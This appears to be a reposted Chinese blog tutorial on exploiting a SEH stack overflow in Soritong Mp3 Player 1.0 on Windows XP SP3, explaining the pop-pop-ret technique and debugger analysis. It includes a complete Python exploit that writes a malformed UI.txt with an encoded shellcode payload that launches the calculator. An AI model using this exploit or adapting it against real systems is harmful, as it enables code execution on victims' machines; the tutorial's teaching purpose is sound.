存在漏洞的程序为Soritong Mp3 Player 1.0,使用畸形的.m3u或是UI.TXT文件可以引发栈溢出,使用SEH攻击可以成功对漏洞进行利用。
exploit-db连接:https://www.exploit-db.com/exploits/9560/
环境:windows xp sp3
工具:ImmunityDebugger+ python
本文不打算对SEH进行详细的介绍,这里只是简要说明一下SEH exploit的原理。
SEH Exploit的核心思想在于使用某种方法修改栈中存储的SEH,然后触发异常,系统根据栈中的SEH结构处理异常时,会去执行SE Handler指向的函数,经过精心布置的SEH最终将控制权交给shellcode。
SEH在栈中的存储
我们可以利用栈溢出或是堆溢出去修改SEH,那么我们如何修改SEH才能将控制权交给shellcode呢?
经典的Jmp esp方法利用了esp寄存器对于栈中特定位置的稳定的指向性,为exploit稳定性提供了有效保障。利用相同的思路,如果异常发生时,有某个寄存器指向可以被控制的地址,那么理论上我们也可以利用jmp reg的方法跳转到shellcode,但是,在windows xp sp1后,微软新增了XOR机制,该机制会在异常触发后,将所有寄存器清零,直接导致jmp reg方法的失效。
经典的解决方案是pop pop ret技术,异常发生时操作系统会call SE handler,SE handler的参数依次为pExcept,pFrame,pContext,pDispatch,其中第二个参数pFrame指向栈中的SEH,cpu进入SE handler时的栈布局如图:
pop pop ret原理在于,第一次pop时弹出ret address,第二次pop时弹出pExcept,最后ret时会使cpu跳转到pFrame的地址去执行,也就是将控制权交到了next SEH域,而next SEH的内容是可控的,只需要一条short jmp跳转指令即可跳转到shellcode去执行。
下面这张图很好的描述了这个过程:
典型的SEH exploit payload如下图:
首先使用python脚本生成畸形的UI.txt文件
path ="C:\Program Files\SoriTong\Skin\Default\UI.txt" buffer ="\x41"*5000 fp = open(path,"w") fp.write(buffer) fp.close()
使用调试器加载SoriTong.exe,在0x422E33处触发异常,设置断点,重新运行,断在0x422E33进行观察:
简单分析一下代码:这里是一个循环,功能是将ESI寄存器所指向的字符串复制到栈中的以0x12FB1C为首的缓冲区中,复制结束的标志是遇到字符0x0D、0x0A、0x00,字符串中的内容就是UI.TXT中的内容,如果其中没有标志结束的字符,那么将永远复制下去,直到复制到地址0x130000触发异常,这个地址位于只读的段空间。
再观察一下SEH链,最近的SEH位于0x12FD64,这就是我们的覆盖目标。
根据以上的分析,组织的payload如下
说明:
一切就绪,就差pop pop ret的地址了,使用immunity debug的search插件可以轻松做到:
!search pop r32\npop r32\nret
查找结果有很多,节选部分,为了保证payload的稳定性,从SoriTong的Player.dll中选取一个,选的时候要注意bad char:00、09、0d、0a,最终选取0x10010BF2
1 #!/usr/bin/python 2 path ="C:\Program Files\SoriTong\Skin\Default\UI.txt" 3 buffer ="\x41"*584 4 next_seh ="\xEB\x06\x90\x90" 5 se_handler ="\xF2\x0B\x01\x10" 6 junk ="\x90"*1000 7 shellcode =("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" 8 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" 9 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" 10 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" 11 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" 12 "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37" 13 "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" 14 "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" 15 "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" 16 "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" 17 "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" 18 "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" 19 "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" 20 "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43" 21 "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57" 22 "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a" 23 "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" 24 "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53" 25 "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" 26 "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49" 27 "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46" 28 "\x4e\x36\x43\x46\x42\x50\x5a") 29 buffer += next_seh + se_handler + shellcode + junk 30 fp = open(path,"w") 31 fp.write(buffer) 32 fp.close()
使用调试器打开SoriTong,出现异常时,可以观察到SEH被预期数据覆盖
继续运行程序,会弹出计算器
原文:http://www.cnblogs.com/Wrong-Side/p/4456268.html